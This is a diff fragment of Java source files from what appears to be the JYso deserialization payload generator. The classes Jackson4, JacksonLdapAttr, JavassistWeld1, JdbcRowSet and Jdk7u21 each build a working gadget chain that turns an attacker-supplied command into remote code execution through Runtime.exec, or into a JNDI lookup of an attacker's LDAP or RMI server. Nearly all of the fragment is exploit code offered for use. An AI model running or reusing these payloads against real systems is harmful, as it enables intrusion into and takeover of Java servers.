).newInstance();
|
||||
advisedSupport.setAdvisorChainFactory((AdvisorChainFactory) ctFactory);
|
||||
|
||||
Constructor<?> constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
|
||||
constructor.setAccessible(true);
|
||||
return (InvocationHandler) constructor.newInstance(advisedSupport);
|
||||
}
|
||||
|
||||
public static Object makeTemplatesImplAopProxy(String cmd) throws Exception {
|
||||
AdvisedSupport advisedSupport = new AdvisedSupport();
|
||||
advisedSupport.setTarget(Gadgets.createTemplatesImpl(cmd));
|
||||
|
||||
InvocationHandler handler = setSuidSource(advisedSupport);
|
||||
|
||||
|
||||
return Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
|
||||
}
|
||||
|
||||
public static Object makeDatasourceAopProxy(Object templatesImpl) throws Exception {
|
||||
AdvisedSupport advisedSupport = new AdvisedSupport();
|
||||
advisedSupport.setTarget(templatesImpl);
|
||||
|
||||
InvocationHandler handler = setSuidSource(advisedSupport);
|
||||
|
||||
return Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{DataSource.class}, handler);
|
||||
}
|
||||
|
||||
public static Object makeAopProxy(String singletonTargetSourceClassName, String advisedSupportClassName, String jdkDynamicAopProxy, Class superClass, Object targetObject) throws Exception {
|
||||
Object singletonTargetSource = ThirdLibsClassLoader.loadClass_(singletonTargetSourceClassName).getConstructor(Object.class).newInstance(targetObject);
|
||||
Class<?> advisedSupportClazz = ThirdLibsClassLoader.loadClass_(advisedSupportClassName);
|
||||
Object advisedSupport = advisedSupportClazz.newInstance();
|
||||
advisedSupportClazz.getMethod("setTarget", Object.class).invoke(advisedSupport, singletonTargetSource);
|
||||
Constructor<?> constructor = ThirdLibsClassLoader.loadClass_(jdkDynamicAopProxy).getConstructor(advisedSupportClazz);
|
||||
constructor.setAccessible(true);
|
||||
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
|
||||
return Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{superClass}, handler);
|
||||
}
|
||||
|
||||
public static Object getEventListenerList(Object obj) throws Exception {
|
||||
//>=6.1.0 为-7977902244297240866
|
||||
//<=6.0.23为-5677132037850737084
|
||||
String sUID1 = "7977902244297240866";
|
||||
CtClass ctEventListenerList = insertField(
|
||||
"javax.swing.event.EventListenerList",
|
||||
"private static final long serialVersionUID = -" + sUID1 + "L;");
|
||||
Object list = ctEventListenerList.toClass(
|
||||
new SuClassLoader(),SuClassLoader.class.getProtectionDomain()
|
||||
).newInstance();
|
||||
|
||||
//>=6.1.0 为-1045223116463488483
|
||||
//<=6.0.23为-2077529998244066750
|
||||
String sUID2 = "1045223116463488483";
|
||||
CtClass ctUndoManager = insertField(
|
||||
"javax.swing.undo.UndoManager",
|
||||
"private static final long serialVersionUID = -" + sUID2 + "L;");
|
||||
Object undomanager = ctUndoManager.toClass(
|
||||
new SuClassLoader(),SuClassLoader.class.getProtectionDomain()
|
||||
).newInstance();
|
||||
|
||||
//取出UndoManager类的父类CompoundEdit类的edits属性里的vector对象,并把需要触发toString的类add进去。
|
||||
Vector vector = (Vector) getFieldValue(undomanager, "edits");
|
||||
vector.add(obj);
|
||||
|
||||
setFieldValue(list, "listenerList", new Object[]{Class.class, undomanager});
|
||||
return list;
|
||||
}
|
||||
|
||||
@Override
|
||||
public Object getObject(final String command) throws Exception {
|
||||
try {
|
||||
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
|
||||
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
|
||||
ctClass.removeMethod(writeReplace);
|
||||
ctClass.toClass();
|
||||
} catch (Exception ignored) {
|
||||
|
||||
}
|
||||
|
||||
|
||||
POJONode node = new POJONode(makeTemplatesImplAopProxy(command));
|
||||
|
||||
return getEventListenerList(node);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,44 +1,44 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.fasterxml.jackson.databind.node.POJONode;
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.sun.org.apache.xpath.internal.objects.XObject;
|
||||
import com.sun.org.apache.xpath.internal.objects.XString;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
import javassist.CtMethod;
|
||||
|
||||
import java.util.HashMap;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.Jackson3.makeTemplatesImplAopProxy;
|
||||
|
||||
|
||||
//Jackson1链的JDK17改造
|
||||
|
||||
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
||||
@Dependencies({"spring-apo:6.2.10"})
|
||||
@Authors({Authors.QI4L})
|
||||
public class Jackson4 implements ObjectPayload<Object> {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
try {
|
||||
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
|
||||
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
|
||||
ctClass.removeMethod(writeReplace);
|
||||
ctClass.toClass();
|
||||
} catch (Exception ignored) {
|
||||
|
||||
}
|
||||
|
||||
POJONode node = new POJONode(makeTemplatesImplAopProxy(command));
|
||||
XObject xString = new XString("foo");
|
||||
HashMap<Object, Object> map1 = new HashMap();
|
||||
HashMap<Object, Object> map2 = new HashMap();
|
||||
map1.put("yy", node);
|
||||
map1.put("zZ", xString);
|
||||
map2.put("yy", xString);
|
||||
map2.put("zZ", node);
|
||||
return com.qi4l.JYso.gadgets.utils.Utils.makeMap(map1, map2);
|
||||
}
|
||||
}
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.fasterxml.jackson.databind.node.POJONode;
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.sun.org.apache.xpath.internal.objects.XObject;
|
||||
import com.sun.org.apache.xpath.internal.objects.XString;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
import javassist.CtMethod;
|
||||
|
||||
import java.util.HashMap;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.Jackson3.makeTemplatesImplAopProxy;
|
||||
|
||||
|
||||
//Jackson1链的JDK17改造
|
||||
|
||||
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
||||
@Dependencies({"spring-apo:6.2.10"})
|
||||
@Authors({Authors.QI4L})
|
||||
public class Jackson4 implements ObjectPayload<Object> {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
try {
|
||||
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
|
||||
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
|
||||
ctClass.removeMethod(writeReplace);
|
||||
ctClass.toClass();
|
||||
} catch (Exception ignored) {
|
||||
|
||||
}
|
||||
|
||||
POJONode node = new POJONode(makeTemplatesImplAopProxy(command));
|
||||
XObject xString = new XString("foo");
|
||||
HashMap<Object, Object> map1 = new HashMap();
|
||||
HashMap<Object, Object> map2 = new HashMap();
|
||||
map1.put("yy", node);
|
||||
map1.put("zZ", xString);
|
||||
map2.put("yy", xString);
|
||||
map2.put("zZ", node);
|
||||
return com.qi4l.JYso.gadgets.utils.Utils.makeMap(map1, map2);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,62 +1,62 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.fasterxml.jackson.databind.node.POJONode;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
import javassist.CtMethod;
|
||||
import org.apache.logging.log4j.Logger;
|
||||
import org.apache.logging.log4j.LogManager;
|
||||
|
||||
import javax.management.BadAttributeValueExpException;
|
||||
import javax.naming.CompositeName;
|
||||
import javax.naming.directory.BasicAttribute;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
|
||||
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
||||
public class JacksonLdapAttr implements ObjectPayload<Object> {
|
||||
private static final Logger log = LogManager.getLogger(JacksonLdapAttr.class);
|
||||
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
|
||||
|
||||
if (command.toLowerCase().startsWith("jndi:")) {
|
||||
command = command.substring(5);
|
||||
}
|
||||
|
||||
if (!command.toLowerCase().startsWith("ldap://") && !command.toLowerCase().startsWith("rmi://")) {
|
||||
throw new Exception("Command format is: [rmi|ldap]://host:port/obj");
|
||||
}
|
||||
|
||||
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
|
||||
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
|
||||
ctClass.removeMethod(writeReplace);
|
||||
ctClass.toClass();
|
||||
|
||||
try {
|
||||
Class clazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
|
||||
Constructor clazz_cons = clazz.getDeclaredConstructor(String.class);
|
||||
clazz_cons.setAccessible(true);
|
||||
BasicAttribute la = (BasicAttribute) clazz_cons.newInstance(new Object[]{"exp"});
|
||||
Field bcu_fi = clazz.getDeclaredField("baseCtxURL");
|
||||
bcu_fi.setAccessible(true);
|
||||
bcu_fi.set(la, command);
|
||||
CompositeName cn = new CompositeName();
|
||||
cn.add("a");
|
||||
cn.add("b");
|
||||
Field rdn_fi = clazz.getDeclaredField("rdn");
|
||||
rdn_fi.setAccessible(true);
|
||||
rdn_fi.set(la, cn);
|
||||
POJONode node = new POJONode(la);
|
||||
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
|
||||
Field valfield = val.getClass().getDeclaredField("val");
|
||||
valfield.setAccessible(true);
|
||||
valfield.set(val, node);
|
||||
return val;
|
||||
} catch (Exception e) {
|
||||
log.error("e: ", e);
|
||||
}
|
||||
return null;
|
||||
}
|
||||
}
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.fasterxml.jackson.databind.node.POJONode;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
import javassist.CtMethod;
|
||||
import org.apache.logging.log4j.Logger;
|
||||
import org.apache.logging.log4j.LogManager;
|
||||
|
||||
import javax.management.BadAttributeValueExpException;
|
||||
import javax.naming.CompositeName;
|
||||
import javax.naming.directory.BasicAttribute;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
|
||||
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
||||
public class JacksonLdapAttr implements ObjectPayload<Object> {
|
||||
private static final Logger log = LogManager.getLogger(JacksonLdapAttr.class);
|
||||
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
|
||||
|
||||
if (command.toLowerCase().startsWith("jndi:")) {
|
||||
command = command.substring(5);
|
||||
}
|
||||
|
||||
if (!command.toLowerCase().startsWith("ldap://") && !command.toLowerCase().startsWith("rmi://")) {
|
||||
throw new Exception("Command format is: [rmi|ldap]://host:port/obj");
|
||||
}
|
||||
|
||||
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
|
||||
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
|
||||
ctClass.removeMethod(writeReplace);
|
||||
ctClass.toClass();
|
||||
|
||||
try {
|
||||
Class clazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
|
||||
Constructor clazz_cons = clazz.getDeclaredConstructor(String.class);
|
||||
clazz_cons.setAccessible(true);
|
||||
BasicAttribute la = (BasicAttribute) clazz_cons.newInstance(new Object[]{"exp"});
|
||||
Field bcu_fi = clazz.getDeclaredField("baseCtxURL");
|
||||
bcu_fi.setAccessible(true);
|
||||
bcu_fi.set(la, command);
|
||||
CompositeName cn = new CompositeName();
|
||||
cn.add("a");
|
||||
cn.add("b");
|
||||
Field rdn_fi = clazz.getDeclaredField("rdn");
|
||||
rdn_fi.setAccessible(true);
|
||||
rdn_fi.set(la, cn);
|
||||
POJONode node = new POJONode(la);
|
||||
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
|
||||
Field valfield = val.getClass().getDeclaredField("val");
|
||||
valfield.setAccessible(true);
|
||||
valfield.set(val, node);
|
||||
return val;
|
||||
} catch (Exception e) {
|
||||
log.error("e: ", e);
|
||||
}
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,90 +1,90 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
||||
import org.jboss.weld.interceptor.builder.InterceptionModelBuilder;
|
||||
import org.jboss.weld.interceptor.builder.MethodReference;
|
||||
import org.jboss.weld.interceptor.proxy.DefaultInvocationContextFactory;
|
||||
import org.jboss.weld.interceptor.proxy.InterceptorMethodHandler;
|
||||
import org.jboss.weld.interceptor.reader.ClassMetadataInterceptorReference;
|
||||
import org.jboss.weld.interceptor.reader.DefaultMethodMetadata;
|
||||
import org.jboss.weld.interceptor.reader.ReflectiveClassMetadata;
|
||||
import org.jboss.weld.interceptor.reader.SimpleInterceptorMetadata;
|
||||
import org.jboss.weld.interceptor.spi.instance.InterceptorInstantiator;
|
||||
import org.jboss.weld.interceptor.spi.metadata.InterceptorReference;
|
||||
import org.jboss.weld.interceptor.spi.metadata.MethodMetadata;
|
||||
import org.jboss.weld.interceptor.spi.model.InterceptionModel;
|
||||
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.util.*;
|
||||
|
||||
|
||||
/*
|
||||
by @matthias_kaiser
|
||||
*/
|
||||
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
||||
@Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.weld:weld-core:1.1.33.Final",
|
||||
"javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1",
|
||||
"org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21"})
|
||||
@Authors({Authors.MATTHIASKAISER})
|
||||
public class JavassistWeld1 implements ObjectPayload<Object> {
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
|
||||
return get_chain(command, org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE, null);
|
||||
}
|
||||
|
||||
static Object get_chain(
|
||||
String command,
|
||||
org.jboss.weld.interceptor.spi.model.InterceptionType POST_ACTIVATE,
|
||||
org.jboss.interceptor.spi.model.InterceptionType POST_ACTIVATE1
|
||||
) throws Exception {
|
||||
Object tpl = Gadgets.createTemplatesImpl(command);
|
||||
|
||||
InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class);
|
||||
ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class);
|
||||
InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata);
|
||||
|
||||
Set s = new HashSet<>();
|
||||
|
||||
if (POST_ACTIVATE != null) {
|
||||
s.add(POST_ACTIVATE);
|
||||
} else {
|
||||
s.add(POST_ACTIVATE1);
|
||||
}
|
||||
|
||||
|
||||
Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class);
|
||||
Reflections.setAccessible(defaultMethodMetadataConstructor);
|
||||
MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s,
|
||||
MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true));
|
||||
|
||||
List list = new ArrayList();
|
||||
list.add(methodMetadata);
|
||||
Map hashMap = new HashMap<>();
|
||||
|
||||
if (POST_ACTIVATE != null) {
|
||||
hashMap.put(POST_ACTIVATE, list);
|
||||
} else {
|
||||
hashMap.put(POST_ACTIVATE1, list);
|
||||
}
|
||||
|
||||
SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap);
|
||||
|
||||
builder.interceptAll().with(simpleInterceptorMetadata);
|
||||
|
||||
InterceptionModel model = builder.build();
|
||||
|
||||
HashMap map = new HashMap();
|
||||
map.put("qi4l", "qi4l");
|
||||
|
||||
DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory();
|
||||
|
||||
InterceptorInstantiator interceptorInstantiator = paramInterceptorReference -> tpl;
|
||||
|
||||
return new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory);
|
||||
}
|
||||
}
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
||||
import org.jboss.weld.interceptor.builder.InterceptionModelBuilder;
|
||||
import org.jboss.weld.interceptor.builder.MethodReference;
|
||||
import org.jboss.weld.interceptor.proxy.DefaultInvocationContextFactory;
|
||||
import org.jboss.weld.interceptor.proxy.InterceptorMethodHandler;
|
||||
import org.jboss.weld.interceptor.reader.ClassMetadataInterceptorReference;
|
||||
import org.jboss.weld.interceptor.reader.DefaultMethodMetadata;
|
||||
import org.jboss.weld.interceptor.reader.ReflectiveClassMetadata;
|
||||
import org.jboss.weld.interceptor.reader.SimpleInterceptorMetadata;
|
||||
import org.jboss.weld.interceptor.spi.instance.InterceptorInstantiator;
|
||||
import org.jboss.weld.interceptor.spi.metadata.InterceptorReference;
|
||||
import org.jboss.weld.interceptor.spi.metadata.MethodMetadata;
|
||||
import org.jboss.weld.interceptor.spi.model.InterceptionModel;
|
||||
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.util.*;
|
||||
|
||||
|
||||
/*
|
||||
by @matthias_kaiser
|
||||
*/
|
||||
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
||||
@Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.weld:weld-core:1.1.33.Final",
|
||||
"javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1",
|
||||
"org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21"})
|
||||
@Authors({Authors.MATTHIASKAISER})
|
||||
public class JavassistWeld1 implements ObjectPayload<Object> {
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
|
||||
return get_chain(command, org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE, null);
|
||||
}
|
||||
|
||||
static Object get_chain(
|
||||
String command,
|
||||
org.jboss.weld.interceptor.spi.model.InterceptionType POST_ACTIVATE,
|
||||
org.jboss.interceptor.spi.model.InterceptionType POST_ACTIVATE1
|
||||
) throws Exception {
|
||||
Object tpl = Gadgets.createTemplatesImpl(command);
|
||||
|
||||
InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class);
|
||||
ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class);
|
||||
InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata);
|
||||
|
||||
Set s = new HashSet<>();
|
||||
|
||||
if (POST_ACTIVATE != null) {
|
||||
s.add(POST_ACTIVATE);
|
||||
} else {
|
||||
s.add(POST_ACTIVATE1);
|
||||
}
|
||||
|
||||
|
||||
Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class);
|
||||
Reflections.setAccessible(defaultMethodMetadataConstructor);
|
||||
MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s,
|
||||
MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true));
|
||||
|
||||
List list = new ArrayList();
|
||||
list.add(methodMetadata);
|
||||
Map hashMap = new HashMap<>();
|
||||
|
||||
if (POST_ACTIVATE != null) {
|
||||
hashMap.put(POST_ACTIVATE, list);
|
||||
} else {
|
||||
hashMap.put(POST_ACTIVATE1, list);
|
||||
}
|
||||
|
||||
SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap);
|
||||
|
||||
builder.interceptAll().with(simpleInterceptorMetadata);
|
||||
|
||||
InterceptionModel model = builder.build();
|
||||
|
||||
HashMap map = new HashMap();
|
||||
map.put("qi4l", "qi4l");
|
||||
|
||||
DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory();
|
||||
|
||||
InterceptorInstantiator interceptorInstantiator = paramInterceptorReference -> tpl;
|
||||
|
||||
return new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,11 +1,11 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.ROMEJDBC.makeJNDIRowSet;
|
||||
|
||||
@SuppressWarnings({"unused"})
|
||||
public class JdbcRowSet implements ObjectPayload<Object> {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
return makeJNDIRowSet(command);
|
||||
}
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.ROMEJDBC.makeJNDIRowSet;
|
||||
|
||||
@SuppressWarnings({"unused"})
|
||||
public class JdbcRowSet implements ObjectPayload<Object> {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
return makeJNDIRowSet(command);
|
||||
}
|
||||
}
|
||||
@@ -1,101 +1,101 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.JavaVersion;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
|
||||
import javax.xml.transform.Templates;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.InvocationHandler;
|
||||
import java.lang.reflect.Proxy;
|
||||
import java.util.HashMap;
|
||||
import java.util.LinkedHashSet;
|
||||
|
||||
|
||||
/**
|
||||
* Gadget chain that works against JRE 1.7u21 and earlier. Payload generation has
|
||||
* the same JRE version requirements.
|
||||
* <p>
|
||||
* See: https://gist.github.com/frohoff/24af7913611f8406eaf3
|
||||
* <p>
|
||||
* Call tree:
|
||||
* <p>
|
||||
* LinkedHashSet.readObject()
|
||||
* LinkedHashSet.add()
|
||||
* ...
|
||||
* TemplatesImpl.hashCode() (X)
|
||||
* LinkedHashSet.add()
|
||||
* ...
|
||||
* Proxy(Templates).hashCode() (X)
|
||||
* AnnotationInvocationHandler.invoke() (X)
|
||||
* AnnotationInvocationHandler.hashCodeImpl() (X)
|
||||
* String.hashCode() (0)
|
||||
* AnnotationInvocationHandler.memberValueHashCode() (X)
|
||||
* TemplatesImpl.hashCode() (X)
|
||||
* Proxy(Templates).equals()
|
||||
* AnnotationInvocationHandler.invoke()
|
||||
* AnnotationInvocationHandler.equalsImpl()
|
||||
* Method.invoke()
|
||||
* ...
|
||||
* TemplatesImpl.getOutputProperties()
|
||||
* TemplatesImpl.newTransformer()
|
||||
* TemplatesImpl.getTransletInstance()
|
||||
* TemplatesImpl.defineTransletClasses()
|
||||
* ClassLoader.defineClass()
|
||||
* Class.newInstance()
|
||||
* ...
|
||||
* MaliciousClass.<clinit>()
|
||||
* ...
|
||||
* Runtime.exec()
|
||||
*/
|
||||
|
||||
@SuppressWarnings({"rawtypes", "unchecked", "unused"})
|
||||
@Dependencies()
|
||||
@Authors({Authors.FROHOFF})
|
||||
public class Jdk7u21 implements ObjectPayload<Object> {
|
||||
|
||||
public static boolean isApplicableJavaVersion() {
|
||||
JavaVersion v = JavaVersion.getLocalVersion();
|
||||
return v != null && (v.major < 7 || (v.major == 7 && v.update <= 21));
|
||||
}
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object templates;
|
||||
templates = Gadgets.createTemplatesImpl(command);
|
||||
|
||||
// hashCode 为 0 的字符串
|
||||
String zeroHashCodeStr = "f5a5a608";
|
||||
|
||||
HashMap map = new HashMap();
|
||||
map.put(zeroHashCodeStr, "foo");
|
||||
|
||||
// 使用 AnnotationInvocationHandler 为 HashMap 创建动态代理
|
||||
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
|
||||
Constructor<?> constructor = c.getDeclaredConstructors()[0];
|
||||
constructor.setAccessible(true);
|
||||
InvocationHandler tempHandler = (InvocationHandler) constructor.newInstance(Override.class, map);
|
||||
|
||||
// 反射写入 AnnotationInvocationHandler 的 type
|
||||
Reflections.setFieldValue(tempHandler, "type", Templates.class);
|
||||
|
||||
// 为 Templates 创建动态代理
|
||||
Templates proxy = (Templates) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
|
||||
new Class[]{Templates.class}, tempHandler);
|
||||
|
||||
// LinkedHashSet 中放入 TemplatesImpl 以及动态代理类
|
||||
LinkedHashSet set = new LinkedHashSet(); // maintain order
|
||||
set.add(templates);
|
||||
set.add(proxy);
|
||||
|
||||
// 反射将 _auxClasses 和 _class 修改为 null
|
||||
Reflections.setFieldValue(templates, "_auxClasses", null);
|
||||
Reflections.setFieldValue(templates, "_class", null);
|
||||
|
||||
// 向 map 中替换 tmpl 对象
|
||||
map.put(zeroHashCodeStr, templates);
|
||||
|
||||
return set;
|
||||
}
|
||||
}
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.JavaVersion;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
|
||||
import javax.xml.transform.Templates;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.InvocationHandler;
|
||||
import java.lang.reflect.Proxy;
|
||||
import java.util.HashMap;
|
||||
import java.util.LinkedHashSet;
|
||||
|
||||
|
||||
/**
|
||||
* Gadget chain that works against JRE 1.7u21 and earlier. Payload generation has
|
||||
* the same JRE version requirements.
|
||||
* <p>
|
||||
* See: https://gist.github.com/frohoff/24af7913611f8406eaf3
|
||||
* <p>
|
||||
* Call tree:
|
||||
* <p>
|
||||
* LinkedHashSet.readObject()
|
||||
* LinkedHashSet.add()
|
||||
* ...
|
||||
* TemplatesImpl.hashCode() (X)
|
||||
* LinkedHashSet.add()
|
||||
* ...
|
||||
* Proxy(Templates).hashCode() (X)
|
||||
* AnnotationInvocationHandler.invoke() (X)
|
||||
* AnnotationInvocationHandler.hashCodeImpl() (X)
|
||||
* String.hashCode() (0)
|
||||
* AnnotationInvocationHandler.memberValueHashCode() (X)
|
||||
* TemplatesImpl.hashCode() (X)
|
||||
* Proxy(Templates).equals()
|
||||
* AnnotationInvocationHandler.invoke()
|
||||
* AnnotationInvocationHandler.equalsImpl()
|
||||
* Method.invoke()
|
||||
* ...
|
||||
* TemplatesImpl.getOutputProperties()
|
||||
* TemplatesImpl.newTransformer()
|
||||
* TemplatesImpl.getTransletInstance()
|
||||
* TemplatesImpl.defineTransletClasses()
|
||||
* ClassLoader.defineClass()
|
||||
* Class.newInstance()
|
||||
* ...
|
||||
* MaliciousClass.<clinit>()
|
||||
* ...
|
||||
* Runtime.exec()
|
||||
*/
|
||||
|
||||
@SuppressWarnings({"rawtypes", "unchecked", "unused"})
|
||||
@Dependencies()
|
||||
@Authors({Authors.FROHOFF})
|
||||
public class Jdk7u21 implements ObjectPayload<Object> {
|
||||
|
||||
public static boolean isApplicableJavaVersion() {
|
||||
JavaVersion v = JavaVersion.getLocalVersion();
|
||||
return v != null && (v.major < 7 || (v.major == 7 && v.update <= 21));
|
||||
}
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object templates;
|
||||
templates = Gadgets.createTemplatesImpl(command);
|
||||
|
||||
// hashCode 为 0 的字符串
|
||||
String zeroHashCodeStr = "f5a5a608";
|
||||
|
||||
HashMap map = new HashMap();
|
||||
map.put(zeroHashCodeStr, "foo");
|
||||
|
||||
// 使用 AnnotationInvocationHandler 为 HashMap 创建动态代理
|
||||
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
|
||||
Constructor<?> constructor = c.getDeclaredConstructors()[0];
|
||||
constructor.setAccessible(true);
|
||||
InvocationHandler tempHandler = (InvocationHandler) constructor.newInstance(Override.class, map);
|
||||
|
||||
// 反射写入 AnnotationInvocationHandler 的 type
|
||||
Reflections.setFieldValue(tempHandler, "type", Templates.class);
|
||||
|
||||
// 为 Templates 创建动态代理
|
||||
Templates proxy = (Templates) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
|
||||
new Class[]{Templates.class}, tempHandler);
|
||||
|
||||
// LinkedHashSet 中放入 TemplatesImpl 以及动态代理类
|
||||
LinkedHashSet set = new LinkedHashSet(); // maintain order
|
||||
set.add(templates);
|
||||
set.add(proxy);
|
||||
|
||||
// 反射将 _auxClasses 和 _class 修改为 null
|
||||
Reflections.setFieldValue(templates, "_auxClasses", null);
|
||||
Reflections.setFieldValue(templates, "_class", null);
|
||||
|
||||
// 向 map 中替换 tmpl 对象
|
||||
map.put(zeroHashCodeStr, templates);
|
||||
|
||||
return set;
|
||||
}
|
||||
}
|
||||
|
